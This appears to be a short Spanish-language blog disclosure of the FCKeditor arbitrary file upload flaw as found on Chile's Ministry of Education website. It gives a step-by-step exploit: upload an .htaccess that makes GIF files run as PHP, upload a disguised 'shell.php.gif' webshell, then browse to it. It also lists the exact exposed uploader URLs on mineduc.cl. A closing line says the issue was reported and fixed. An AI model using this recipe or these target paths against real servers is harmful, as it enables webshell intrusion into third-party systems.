Mineduc & Fckeditor: Arbitrary File Upload Vulnerability

La vulnerabilidad en Fckeditor [ Arbitrary File Upload Vulnerability] es bastante conocida y la forma de explotarla y lograr subir una Webshell también, es cosa de hacer una búsqueda en Google.Y vemos que aparecen multiples "exploits" como el que se muestra aquí:

1.create a htaccess file:
code: 

SetHandler application/x-httpd-php

 
2.Now upload this htaccess with FCKeditor.
http://target.com/FCKeditor/editor/filemanager/upload/test.html
http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
----------------------------------------------------------------------------------------------
3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically.
5.http://target.com/anything/shell_php.gif
6.Now shell is available from server. 

El sitio del Mineduc utiliza Fckeditor. / UPS
Es relativamente fácil encontrar los directorios finales ya que son públicamente conocidos, así llegar a los uploaders.


Mineduc?
http://www.mineduc.cl/aplicaciones/FCKeditor/editor/filemanager/upload/test.html
http://www.mineduc.cl/aplicaciones/FCKeditor/editor/filemanager/browser/default/connectors/test.html
http://www.mineduc.cl/aplicaciones/FCKeditor/editor/filemanager/browser/default/frmupload.html


http://www.mineduc.cl/aplicaciones/FCKeditor/editor/filemanager/browser/default/frmcreatefolder.html

---------------------------------------------------------------
Reportado // -> ESTADO: Fixed 
FIN   /..